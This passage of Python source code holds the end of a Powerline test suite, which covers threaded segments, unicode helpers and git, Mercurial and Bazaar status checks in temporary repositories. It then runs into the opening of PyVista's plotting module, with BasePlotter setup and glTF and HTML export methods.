self.assertEqual(run_cmd(pl, ['echo', ' test '], strip=False), ' test \n') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['cat'], stdin='test'), 'test') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['sh', '-c', 'cat >&2'], stdin='test'), '') self.assertFalse(pl) class TestThreaded(TestCase): def test_threaded_segment(self): log = [] pl = Pl() updates = [(None,)] lock = threading.Lock() event = threading.Event() block_event = threading.Event() class TestSegment(ThreadedSegment): interval = 10 def set_state(self, **kwargs): event.clear() log.append(('set_state', kwargs)) return super(TestSegment, self).set_state(**kwargs) def update(self, update_value): block_event.wait() event.set() # Make sleep first to prevent some race conditions log.append(('update', update_value)) with lock: ret = updates[0] if isinstance(ret, Exception): raise ret else: return ret[0] def render(self, update, **kwargs): log.append(('render', update, kwargs)) if isinstance(update, Exception): raise update else: return update # Non-threaded tests segment = TestSegment() block_event.set() updates[0] = (None,) self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', None, {'pl': pl, 'update_first': True}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ('abc',) self.assertEqual(segment(pl=pl), 'abc') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': True}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ('abc',) self.assertEqual(segment(pl=pl, update_first=False), 'abc') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': False}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ValueError('abc') self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(len(pl.exceptions), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ]) log[:] = () pl.exceptions[:] = () segment = TestSegment() block_event.set() updates[0] = (TypeError('def'),) self.assertRaises(TypeError, segment, pl=pl) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', updates[0][0], {'pl': pl, 'update_first': True}), ]) log[:] = () # Threaded tests segment = TestSegment() block_event.clear() kwargs = {'pl': pl, 'update_first': False, 'other': 1} with lock: updates[0] = ('abc',) segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) block_event.set() event.wait() segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, None) self.assertEqual(log, [ ('set_state', {'update_first': False, 'other': 1}), ('render', None, {'pl': pl, 'update_first': False, 'other': 1}), ('update', None), ]) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'other': 1} with lock: updates[0] = ('def',) segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, 'def') self.assertEqual(log, [ ('set_state', {'update_first': True, 'other': 1}), ('update', None), ('render', 'def', {'pl': pl, 'update_first': True, 'other': 1}), ]) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'interval': 0.2} with lock: updates[0] = ('abc',) segment.startup(**kwargs) start = monotonic() ret1 = segment(**kwargs) with lock: updates[0] = ('def',) self.assertEqual(thread_number(), 2) sleep(0.5) ret2 = segment(**kwargs) segment.shutdown_event.set() segment.thread.join() end = monotonic() duration = end - start self.assertEqual(ret1, 'abc') self.assertEqual(ret2, 'def') self.assertEqual(log[:5], [ ('set_state', {'update_first': True, 'interval': 0.2}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': True, 'interval': 0.2}), ('update', 'abc'), ('update', 'def'), ]) num_runs = len([e for e in log if e[0] == 'update']) self.assertAlmostEqual(duration / 0.2, num_runs, delta=1) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'interval': 0.2} with lock: updates[0] = ('ghi',) segment.startup(**kwargs) start = monotonic() ret1 = segment(**kwargs) with lock: updates[0] = TypeError('jkl') self.assertEqual(thread_number(), 2) sleep(0.5) ret2 = segment(**kwargs) segment.shutdown_event.set() segment.thread.join() end = monotonic() duration = end - start self.assertEqual(ret1, 'ghi') self.assertEqual(ret2, None) self.assertEqual(log[:5], [ ('set_state', {'update_first': True, 'interval': 0.2}), ('update', None), ('render', 'ghi', {'pl': pl, 'update_first': True, 'interval': 0.2}), ('update', 'ghi'), ('update', 'ghi'), ]) num_runs = len([e for e in log if e[0] == 'update']) self.assertAlmostEqual(duration / 0.2, num_runs, delta=1) self.assertEqual(num_runs - 1, len(pl.exceptions)) log[:] = () def test_kw_threaded_segment(self): log = [] pl = Pl() event = threading.Event() class TestSegment(KwThreadedSegment): interval = 10 @staticmethod def key(_key=(None,), **kwargs): log.append(('key', _key, kwargs)) return _key def compute_state(self, key): event.set() sleep(0.1) log.append(('compute_state', key)) ret = key if isinstance(ret, Exception): raise ret else: return ret[0] def render_one(self, state, **kwargs): log.append(('render_one', state, kwargs)) if isinstance(state, Exception): raise state else: return state # Non-threaded tests segment = TestSegment() event.clear() self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', (None,), {'pl': pl}), ('compute_state', (None,)), ('render_one', None, {'pl': pl}), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': ('abc',), 'update_first': False} event.clear() self.assertEqual(segment(**kwargs), 'abc') kwargs.update(_key=('def',)) self.assertEqual(segment(**kwargs), 'def') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', ('abc',), {'pl': pl}), ('compute_state', ('abc',)), ('render_one', 'abc', {'pl': pl, '_key': ('abc',)}), ('key', ('def',), {'pl': pl}), ('compute_state', ('def',)), ('render_one', 'def', {'pl': pl, '_key': ('def',)}), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': ValueError('xyz'), 'update_first': False} event.clear() self.assertEqual(segment(**kwargs), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', kwargs['_key'], {'pl': pl}), ('compute_state', kwargs['_key']), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': (ValueError('abc'),), 'update_first': False} event.clear() self.assertRaises(ValueError, segment, **kwargs) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', kwargs['_key'], {'pl': pl}), ('compute_state', kwargs['_key']), ('render_one', kwargs['_key'][0], {'pl': pl, '_key': kwargs['_key']}), ]) log[:] = () # Threaded tests segment = TestSegment() kwargs = {'pl': pl, 'update_first': False, '_key': ('_abc',)} event.clear() segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, None) self.assertEqual(log[:2], [ ('key', kwargs['_key'], {'pl': pl}), ('render_one', None, {'pl': pl, '_key': kwargs['_key']}), ]) self.assertLessEqual(len(log), 3) if len(log) > 2: self.assertEqual(log[2], ('compute_state', kwargs['_key'])) log[:] = () segment = TestSegment() kwargs = {'pl': pl, 'update_first': True, '_key': ('_abc',)} event.clear() segment.startup(**kwargs) ret1 = segment(**kwargs) kwargs.update(_key=('_def',)) ret2 = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret1, '_abc') self.assertEqual(ret2, '_def') self.assertEqual(log, [ ('key', ('_abc',), {'pl': pl}), ('compute_state', ('_abc',)), ('render_one', '_abc', {'pl': pl, '_key': ('_abc',)}), ('key', ('_def',), {'pl': pl}), ('compute_state', ('_def',)), ('render_one', '_def', {'pl': pl, '_key': ('_def',)}), ]) log[:] = () class TestLib(TestCase): def test_mergedicts(self): d = {} mergedicts(d, {'abc': {'def': 'ghi'}}) self.assertEqual(d, {'abc': {'def': 'ghi'}}) mergedicts(d, {'abc': {'def': {'ghi': 'jkl'}}}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}}}) mergedicts(d, {}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}}}) mergedicts(d, {'abc': {'mno': 'pqr'}}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}, 'mno': 'pqr'}}) mergedicts(d, {'abc': {'def': REMOVE_THIS_KEY}}) self.assertEqual(d, {'abc': {'mno': 'pqr'}}) def test_add_divider_highlight_group(self): def decorated_function_name(**kwargs): return str(kwargs) func = add_divider_highlight_group('hl_group')(decorated_function_name) self.assertEqual(func.__name__, 'decorated_function_name') self.assertEqual(func(kw={}), [{'contents': repr({str('kw'): {}}), 'divider_highlight_group': 'hl_group'}]) def test_humanize_bytes(self): self.assertEqual(humanize_bytes(0), '0 B') self.assertEqual(humanize_bytes(1), '1 B') self.assertEqual(humanize_bytes(1, suffix='bit'), '1 bit') self.assertEqual(humanize_bytes(1000, si_prefix=True), '1 kB') self.assertEqual(humanize_bytes(1024, si_prefix=True), '1 kB') self.assertEqual(humanize_bytes(1000000000, si_prefix=True), '1.00 GB') self.assertEqual(humanize_bytes(1000000000, si_prefix=False), '953.7 MiB') width_data = { 'N': 1, # Neutral 'Na': 1, # Narrow 'A': 1, # Ambigious 'H': 1, # Half-width 'W': 2, # Wide 'F': 2, # Fullwidth } class TestUnicode(TestCase): def assertStringsIdentical(self, s1, s2): self.assertTrue(type(s1) is type(s2), msg='string types differ') self.assertEqual(s1, s2) def test_unicode(self): self.assertTrue(type('abc') is plu.unicode) def test_unichr(self): self.assertStringsIdentical('\U0010FFFF', plu.unichr(0x10FFFF)) self.assertStringsIdentical('\uFFFF', plu.unichr(0xFFFF)) self.assertStringsIdentical('\x20', plu.unichr(0x20)) def test_u(self): self.assertStringsIdentical('Test', plu.u('Test')) self.assertStringsIdentical('Test', plu.u(b'Test')) self.assertStringsIdentical('«»', plu.u(b'\xC2\xAB\xC2\xBB')) self.assertRaises(UnicodeDecodeError, plu.u, b'\xFF') def test_tointiter(self): self.assertEqual([1, 2, 3], list(plu.tointiter(b'\x01\x02\x03'))) def test_decode_error(self): self.assertStringsIdentical('<FF>', b'\xFF'.decode('utf-8', 'powerline_decode_error')) self.assertStringsIdentical('abc', b'abc'.decode('utf-8', 'powerline_decode_error')) def test_register_strwidth_error(self): ename = plu.register_strwidth_error(lambda s: 3) self.assertStringsIdentical(b'???', 'A'.encode('latin1', ename)) self.assertStringsIdentical(b'abc', 'abc'.encode('latin1', ename)) def test_out_u(self): self.assertStringsIdentical('abc', plu.out_u('abc')) self.assertStringsIdentical('abc', plu.out_u(b'abc')) self.assertRaises(TypeError, plu.out_u, None) def test_safe_unicode(self): self.assertStringsIdentical('abc', plu.safe_unicode('abc')) self.assertStringsIdentical('abc', plu.safe_unicode(b'abc')) self.assertStringsIdentical('«»', plu.safe_unicode(b'\xc2\xab\xc2\xbb')) with replace_attr(plu, 'get_preferred_output_encoding', lambda: 'latin1'): self.assertStringsIdentical('ÿ', plu.safe_unicode(b'\xFF')) self.assertStringsIdentical('None', plu.safe_unicode(None)) class FailingStr(object): def __str__(self): raise NotImplementedError('Fail!') self.assertStringsIdentical('Fail!', plu.safe_unicode(FailingStr())) def test_FailedUnicode(self): self.assertTrue(isinstance(plu.FailedUnicode('abc'), plu.unicode)) self.assertEqual('abc', plu.FailedUnicode('abc')) def test_string(self): self.assertStringsIdentical(str('abc'), plu.string('abc')) self.assertStringsIdentical(str('abc'), plu.string(b'abc')) def test_surrogate_pair_to_character(self): self.assertEqual(0x1F48E, plu.surrogate_pair_to_character(0xD83D, 0xDC8E)) def test_strwidth_ucs_4(self): self.assertEqual(4, plu.strwidth_ucs_4(width_data, 'abcd')) self.assertEqual(4, plu.strwidth_ucs_4(width_data, 'AB')) if sys.maxunicode < 0x10FFFF: raise SkipTest('Can only test strwidth_ucs_4 in UCS-4 Pythons') def east_asian_width(ch): assert (len(ch) == 1) assert ord(ch) == 0x1F48E return 'F' with replace_attr(plu, 'east_asian_width', east_asian_width): # Warning: travis unicodedata.east_asian_width for some reason # thinks this character is 5 symbols wide. self.assertEqual(2, plu.strwidth_ucs_4(width_data, '\U0001F48E')) def test_strwidth_ucs_2(self): self.assertEqual(4, plu.strwidth_ucs_2(width_data, 'abcd')) self.assertEqual(4, plu.strwidth_ucs_2(width_data, 'AB')) if not sys.maxunicode < 0x10FFFF: raise SkipTest('Can only test strwidth_ucs_2 in UCS-2 Pythons') self.assertEqual(2, plu.strwidth_ucs_2(width_data, '\ud83d\udc8e')) class TestVCS(TestCase): def do_branch_rename_test(self, repo, q): st = monotonic() while monotonic() - st < 1: # Give inotify time to deliver events ans = repo.branch() if hasattr(q, '__call__'): if q(ans): break else: if ans == q: break sleep(0.01) if hasattr(q, '__call__'): self.assertTrue(q(ans)) else: self.assertEqual(ans, q) def test_git(self): create_watcher = get_fallback_create_watcher() repo = guess(path=GIT_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None) self.assertEqual(repo.branch(), 'master') self.assertEqual(repo.status(), None) self.assertEqual(repo.status('file'), None) with open(os.path.join(GIT_REPO, 'file'), 'w') as f: f.write('abc') f.flush() self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), '??') call(['git', 'add', '.'], cwd=GIT_REPO) self.assertEqual(repo.status(), ' I ') self.assertEqual(repo.status('file'), 'A ') f.write('def') f.flush() self.assertEqual(repo.status(), 'DI ') self.assertEqual(repo.status('file'), 'AM') os.remove(os.path.join(GIT_REPO, 'file')) # Test changing branch self.assertEqual(repo.branch(), 'master') try: call(['git', 'branch', 'branch1'], cwd=GIT_REPO) call(['git', 'checkout', '-q', 'branch1'], cwd=GIT_REPO) self.do_branch_rename_test(repo, 'branch1') call(['git', 'branch', 'branch2'], cwd=GIT_REPO) call(['git', 'checkout', '-q', 'branch2'], cwd=GIT_REPO) self.do_branch_rename_test(repo, 'branch2') call(['git', 'checkout', '-q', '--detach', 'branch1'], cwd=GIT_REPO) self.do_branch_rename_test(repo, lambda b: re.match(r'^[a-f0-9]+$', b)) finally: call(['git', 'checkout', '-q', 'master'], cwd=GIT_REPO) # Test stashing self.assertEqual(repo.stash(), 0) def stash_save(): with open(os.path.join(GIT_REPO, 'file'), 'w') as f: f.write('abc') return call(['git', 'stash', '-u'], cwd=GIT_REPO, stdout=PIPE) def stash_drop(): return call(['git', 'stash', 'drop'], cwd=GIT_REPO, stdout=PIPE) def stash_list(): return call(['git', 'stash', 'list'], cwd=GIT_REPO, stdout=PIPE) try: stash_save() self.assertEqual(repo.stash(), 1) stash_save() self.assertEqual(repo.stash(), 2) stash_drop() self.assertEqual(repo.stash(), 1) stash_drop() self.assertEqual(repo.stash(), 0) finally: while stash_list(): stash_drop() def test_git_sym(self): create_watcher = get_fallback_create_watcher() dotgit = os.path.join(GIT_REPO, '.git') spacegit = os.path.join(GIT_REPO, ' .git ') os.rename(dotgit, spacegit) try: with open(dotgit, 'w') as F: F.write('gitdir: .git \n') gitdir = git_directory(GIT_REPO) self.assertTrue(os.path.isdir(gitdir)) self.assertEqual(gitdir, os.path.abspath(spacegit)) repo = guess(path=GIT_REPO, create_watcher=create_watcher) self.assertEqual(repo.branch(), 'master') finally: os.remove(dotgit) os.rename(spacegit, dotgit) def test_mercurial(self): if not use_mercurial: raise SkipTest('Mercurial is not available') create_watcher = get_fallback_create_watcher() repo = guess(path=HG_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None) self.assertEqual(repo.branch(), 'default') self.assertEqual(repo.status(), None) with open(os.path.join(HG_REPO, 'file'), 'w') as f: f.write('abc') f.flush() self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), 'U') call(['hg', 'add', '.'], cwd=HG_REPO, stdout=PIPE) self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), 'A') os.remove(os.path.join(HG_REPO, 'file')) def test_bzr(self): if not use_bzr: raise SkipTest('Bazaar is not available') create_watcher = get_fallback_create_watcher() repo = guess(path=BZR_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None, 'No bzr repo found. Do you have bzr installed?') self.assertEqual(repo.branch(), 'test_powerline') self.assertEqual(repo.status(), None) with open(os.path.join(BZR_REPO, 'file'), 'w') as f: f.write('abc') self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), '? ') call(['bzr', 'add', '-q', '.'], cwd=BZR_REPO, stdout=PIPE) self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), '+N') call(['bzr', 'commit', '-q', '-m', 'initial commit'], cwd=BZR_REPO) self.assertEqual(repo.status(), None) with open(os.path.join(BZR_REPO, 'file'), 'w') as f: f.write('def') self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), ' M') self.assertEqual(repo.status('notexist'), None) with open(os.path.join(BZR_REPO, 'ignored'), 'w') as f: f.write('abc') self.assertEqual(repo.status('ignored'), '? ') # Test changing the .bzrignore file should update status with open(os.path.join(BZR_REPO, '.bzrignore'), 'w') as f: f.write('ignored') self.assertEqual(repo.status('ignored'), None) # Test changing the dirstate file should invalidate the cache for # all files in the repo with open(os.path.join(BZR_REPO, 'file2'), 'w') as f: f.write('abc') call(['bzr', 'add', 'file2'], cwd=BZR_REPO, stdout=PIPE) call(['bzr', 'commit', '-q', '-m', 'file2 added'], cwd=BZR_REPO) with open(os.path.join(BZR_REPO, 'file'), 'a') as f: f.write('hello') with open(os.path.join(BZR_REPO, 'file2'), 'a') as f: f.write('hello') self.assertEqual(repo.status('file'), ' M') self.assertEqual(repo.status('file2'), ' M') call(['bzr', 'commit', '-q', '-m', 'multi'], cwd=BZR_REPO) self.assertEqual(repo.status('file'), None) self.assertEqual(repo.status('file2'), None) # Test changing branch call(['bzr', 'nick', 'branch1'], cwd=BZR_REPO, stdout=PIPE, stderr=PIPE) self.do_branch_rename_test(repo, 'branch1') # Test branch name/status changes when swapping repos for x in ('b1', 'b2'): d = os.path.join(BZR_REPO, x) os.mkdir(d) call(['bzr', 'init', '-q'], cwd=d) call(['bzr', 'nick', '-q', x], cwd=d) repo = guess(path=d, create_watcher=create_watcher) self.assertEqual(repo.branch(), x) self.assertFalse(repo.status()) if x == 'b1': open(os.path.join(d, 'dirty'), 'w').close() self.assertTrue(repo.status()) os.rename(os.path.join(BZR_REPO, 'b1'), os.path.join(BZR_REPO, 'b')) os.rename(os.path.join(BZR_REPO, 'b2'), os.path.join(BZR_REPO, 'b1')) os.rename(os.path.join(BZR_REPO, 'b'), os.path.join(BZR_REPO, 'b2')) for x, y in (('b1', 'b2'), ('b2', 'b1')): d = os.path.join(BZR_REPO, x) repo = guess(path=d, create_watcher=create_watcher) self.do_branch_rename_test(repo, y) if x == 'b1': self.assertFalse(repo.status()) else: self.assertTrue(repo.status()) @classmethod def setUpClass(cls): cls.powerline_old_cwd = os.getcwd() os.chdir(os.path.dirname(__file__)) call(['git', 'init', '--quiet', GIT_REPO]) assert os.path.isdir(GIT_REPO) call(['git', 'config', '--local', 'user.name', 'Foo'], cwd=GIT_REPO) call(['git', 'config', '--local', 'user.email', 'bar@example.org'], cwd=GIT_REPO) call(['git', 'commit', '--allow-empty', '--message', 'Initial commit', '--quiet'], cwd=GIT_REPO) if use_mercurial: cls.powerline_old_HGRCPATH = os.environ.get('HGRCPATH') os.environ['HGRCPATH'] = '' call(['hg', 'init', HG_REPO]) with open(os.path.join(HG_REPO, '.hg', 'hgrc'), 'w') as hgrc: hgrc.write('[ui]\n') hgrc.write('username = Foo <bar@example.org>\n') if use_bzr: call(['bzr', 'init', '--quiet', BZR_REPO]) call(['bzr', 'config', 'email=Foo <bar@example.org>'], cwd=BZR_REPO) call(['bzr', 'config', 'nickname=test_powerline'], cwd=BZR_REPO) call(['bzr', 'config', 'create_signatures=0'], cwd=BZR_REPO) @classmethod def tearDownClass(cls): for repo_dir in [GIT_REPO] + ([HG_REPO] if use_mercurial else []) + ([BZR_REPO] if use_bzr else []): shutil.rmtree(repo_dir) if use_mercurial: if cls.powerline_old_HGRCPATH is None: os.environ.pop('HGRCPATH') else: os.environ['HGRCPATH'] = cls.powerline_old_HGRCPATH os.chdir(cls.powerline_old_cwd) if __name__ == '__main__': from tests import main main()
"""PyVista plotting module.""" import platform import ctypes import sys import pathlib import collections.abc from typing import Sequence import logging import os import textwrap import time import warnings import weakref from functools import wraps from threading import Thread from typing import Dict import numpy as np import scooby import pyvista from pyvista import _vtk from pyvista.utilities import (assert_empty_kwargs, convert_array, convert_string_array, get_array, is_pyvista_dataset, abstract_class, numpy_to_texture, raise_not_matching, wrap) from ..utilities.regression import image_from_window from ..utilities.misc import PyvistaDeprecationWarning from .colors import get_cmap_safe from .export_vtkjs import export_plotter_vtkjs from .mapper import make_mapper from .picking import PickingHelper from .renderer import Renderer, Camera from .tools import (normalize, opacity_transfer_function, parse_color, parse_font_family, FONTS) from .widgets import WidgetHelper from .scalar_bars import ScalarBars from .renderers import Renderers from .render_window_interactor import RenderWindowInteractor def _has_matplotlib(): try: import matplotlib return True except ImportError: # pragma: no cover return False SUPPORTED_FORMATS = [".png", ".jpeg", ".jpg", ".bmp", ".tif", ".tiff"] VERY_FIRST_RENDER = True # windows plotter helper # EXPERIMENTAL: permit pyvista to kill the render window KILL_DISPLAY = platform.system() == 'Linux' and os.environ.get('PYVISTA_KILL_DISPLAY') if KILL_DISPLAY: # pragma: no cover # this won't work under wayland try: X11 = ctypes.CDLL("libX11.so") X11.XCloseDisplay.argtypes = [ctypes.c_void_p] except OSError: warnings.warn('PYVISTA_KILL_DISPLAY: Unable to load X11.\n' 'Probably using wayland') KILL_DISPLAY = False def close_all(): """Close all open/active plotters and clean up memory. Returns ------- bool ``True`` when all plotters have been closed. """ for key, p in _ALL_PLOTTERS.items(): if not p._closed: p.close() p.deep_clean() _ALL_PLOTTERS.clear() return True log = logging.getLogger(__name__) log.setLevel('CRITICAL') log.addHandler(logging.StreamHandler()) def _warn_xserver(): # pragma: no cover """Check if plotting is supported and persist this state. Check once and cache this value between calls. Warn the user if plotting is not supported. Configured to check on Linux and Mac OS since the Windows check is not quick. """ # disable windows check until we can get a fast way of verifying # if windows has a windows manager (which it generally does) if os.name == 'nt': return if not hasattr(_warn_xserver, 'has_support'): _warn_xserver.has_support = pyvista.system_supports_plotting() if not _warn_xserver.has_support: # check if a display has been set if 'DISPLAY' in os.environ: return # finally, check if using a backend that doesn't require an xserver if pyvista.global_theme.jupyter_backend in ['ipygany']: return # Check if VTK has EGL support ren_win_str = str(type(_vtk.vtkRenderWindow())) if 'EGL' in ren_win_str or 'OSOpenGL' in ren_win_str: return warnings.warn('\n' 'This system does not appear to be running an xserver.\n' 'PyVista will likely segfault when rendering.\n\n' 'Try starting a virtual frame buffer with xvfb, or using\n ' ' ``pyvista.start_xvfb()``\n') USE_SCALAR_BAR_ARGS = """ "stitle" is a depreciated keyword and will be removed in a future release. Use ``scalar_bar_args`` instead. For example: scalar_bar_args={'title': 'Scalar Bar Title'} """ @abstract_class class BasePlotter(PickingHelper, WidgetHelper): """To be used by the Plotter and pyvistaqt.QtInteractor classes. Parameters ---------- shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one renderer. Can also accept a string descriptor as shape. E.g.: * ``shape="3|1"`` means 3 plots on the left and 1 on the right, * ``shape="4/2"`` means 4 plots on top and 2 at the bottom. border : bool, optional Draw a border around each render window. Default ``False``. border_color : str or sequence, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` border_width : float, optional Width of the border in pixels when enabled. title : str, optional Window title of the scalar bar lighting : str, optional What lighting to set up for the plotter. Accepted options: * ``'light_kit'``: a vtk Light Kit composed of 5 lights. * ``'three lights'``: illumination using 3 lights. * ``'none'``: no light sources at instantiation. The default is a Light Kit (to be precise, 5 separate lights that act like a Light Kit). theme : pyvista.themes.DefaultTheme, optional Plot-specific theme. """ mouse_position = None click_position = None def __init__(self, shape=(1, 1), border=None, border_color='k', border_width=2.0, title=None, splitting_position=None, groups=None, row_weights=None, col_weights=None, lighting='light kit', theme=None): """Initialize base plotter.""" log.debug('BasePlotter init start') self._theme = pyvista.themes.DefaultTheme() if theme is None: # copy global theme to ensure local plot theme is fixed # after creation. self._theme.load_theme(pyvista.global_theme) else: if not isinstance(theme, pyvista.themes.DefaultTheme): raise TypeError('Expected ``pyvista.themes.DefaultTheme`` for ' f'``theme``, not {type(theme).__name__}.') self._theme.load_theme(theme) self.image_transparent_background = self._theme.transparent_background # optional function to be called prior to closing self.__before_close_callback = None self._store_image = False self.mesh = None if title is None: title = self._theme.title self.title = str(title) # add renderers self.renderers = Renderers(self, shape, splitting_position, row_weights, col_weights, groups, border, border_color, border_width) # This keeps track of scalars names already plotted and their ranges self._scalar_bars = ScalarBars(self) # track if the camera has been setup self._first_time = True # Keep track of the scale self._labels = [] # track if render window has ever been rendered self._rendered = False # this helps managing closed plotters self._closed = False # lighting style; be forgiving with input (accept underscores # and ignore case) lighting_normalized = str(lighting).replace('_', ' ').lower() if lighting_normalized == 'light kit': self.enable_lightkit() elif lighting_normalized == 'three lights': self.enable_3_lights() elif lighting_normalized != 'none': raise ValueError(f'Invalid lighting option "{lighting}".') # Add self to open plotters self._id_name = f"{hex(id(self))}-{len(_ALL_PLOTTERS)}" _ALL_PLOTTERS[self._id_name] = self # Key bindings self.reset_key_events() log.debug('BasePlotter init stop') self._image_depth_null = None self.last_image_depth = None self.last_image = None self._has_background_layer = False # set hidden line removal based on theme if self.theme.hidden_line_removal: self.enable_hidden_line_removal() # set antialiasing based on theme if self.theme.antialiasing: self.enable_anti_aliasing() @property def theme(self): """Return or set the theme used for this plotter. Examples -------- Use the dark theme for a plotter. >>> import pyvista >>> from pyvista import themes >>> pl = pyvista.Plotter() >>> pl.theme = themes.DarkTheme() >>> actor = pl.add_mesh(pyvista.Sphere()) >>> pl.show() """ return self._theme @theme.setter def theme(self, theme): if not isinstance(theme, pyvista.themes.DefaultTheme): raise TypeError('Expected a pyvista theme like ' '``pyvista.themes.DefaultTheme``, ' f'not {type(theme).__name__}.') self._theme.load_theme(pyvista.global_theme) def import_gltf(self, filename, set_camera=True): """Import a glTF file into the plotter. See https://www.khronos.org/gltf/ for more information. Parameters ---------- filename : str Path to the glTF file. set_camera : bool, optional Set the camera viewing angle to one compatible with the default three.js perspective (``'xy'``). Examples -------- >>> import pyvista >>> from pyvista import examples >>> helmet_file = examples.gltf.download_damaged_helmet() # doctest:+SKIP >>> texture = examples.hdr.download_dikhololo_night() # doctest:+SKIP >>> pl = pyvista.Plotter() # doctest:+SKIP >>> pl.import_gltf(helmet_file) # doctest:+SKIP >>> pl.set_environment_texture(cubemap) # doctest:+SKIP >>> pl.camera.zoom(1.8) # doctest:+SKIP >>> pl.show() # doctest:+SKIP See :ref:`load_gltf` for a full example using this method. """ if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Support for glTF requires VTK v9 or newer') filename = os.path.abspath(os.path.expanduser(str(filename))) if not os.path.isfile(filename): raise FileNotFoundError(f'Unable to locate {filename}') # lazy import here to avoid importing unused modules from vtkmodules.vtkIOImport import vtkGLTFImporter importer = vtkGLTFImporter() importer.SetFileName(filename) importer.SetRenderWindow(self.ren_win) importer.Update() # register last actor in actors actor = self.renderer.GetActors().GetLastItem() name = actor.GetAddressAsString("") self.renderer._actors[name] = actor # set camera position to a three.js viewing perspective if set_camera: self.camera_position = 'xy' def export_html(self, filename): """Export this plotter as an interactive scene to a HTML file. Parameters ---------- filename : str Path to export the html file to. Notes ----- You will need ``ipywidgets`` and ``pythreejs`` installed for this feature. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_uniform() >>> pl = pyvista.Plotter(shape=(1,2)) >>> _ = pl.add_mesh(mesh, scalars='Spatial Point Data', show_edges=True) >>> pl.subplot(0,1) >>> _ = pl.add_mesh(mesh, scalars='Spatial Cell Data', show_edges=True) >>> pl.export_html('pyvista.html') # doctest:+SKIP """ pythreejs_renderer = self.to_pythreejs() # import after converting as we check for pythreejs import first try: from ipywidgets.embed import embed_minimal_html except ImportError: # pragma: no cover raise ImportError('Please install ipywidgets with:\n' '\n\tpip install ipywidgets') # convert and write to file embed_minimal_html(filename, views=[pythreejs_renderer], title=self.title) def to_pythreejs(self): """Convert this plotting scene to a pythreejs renderer. Returns ------- ipywidgets.Widget Widget containing pythreejs renderer. """ self._on_first_render_request() # setup camera from pyvista.jupyter.pv_pythreejs import convert_plotter return convert_plotter(self) def export_gltf(self, filename, inline_data=True, rotate_scene=True, save_normals=True): """Export the current rendering scene as a glTF file. Visit https://gltf-viewer.donmccurdy.com/ for an online viewer. See https://vtk.org/doc/nightly/html/classvtkGLTFExporter.html for limitations regarding the exporter. Parameters ---------- filename : str Path to export the gltf file to. inline_data : bool, optional Sets if the binary data be included in the json file as a base64 string. When ``True``, only one file is exported. rotate_scene : bool, optional Rotate scene to be compatible with the glTF specifications. save_normals : bool, optional Saves the point array ``'Normals'`` as ``'NORMALS'`` in the outputted scene. Examples -------- Output a simple point cloud represented as balls. >>> import numpy as np >>> import pyvista >>> point_cloud = np.random.random((100, 3)) >>> pdata = pyvista.PolyData(point_cloud) >>> pdata['orig_sphere'] = np.arange(100) >>> sphere = pyvista.Sphere(radius=0.02) >>> pc = pdata.glyph(scale=False, geom=sphere) >>> pl = pyvista.Plotter() >>> _ = pl.add_mesh(pc, cmap='reds', smooth_shading=True, ... show_scalar_bar=False) >>> pl.export_gltf('balls.gltf') # doctest:+SKIP >>> pl.show() Output the orientation plotter. >>> from pyvista import demos >>> pl = demos.orientation_plotter() >>> pl.export_gltf('orientation_plotter.gltf') # doctest:+SKIP >>> pl.show() """ if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Support for glTF requires VTK v9 or newer') if not hasattr(self, 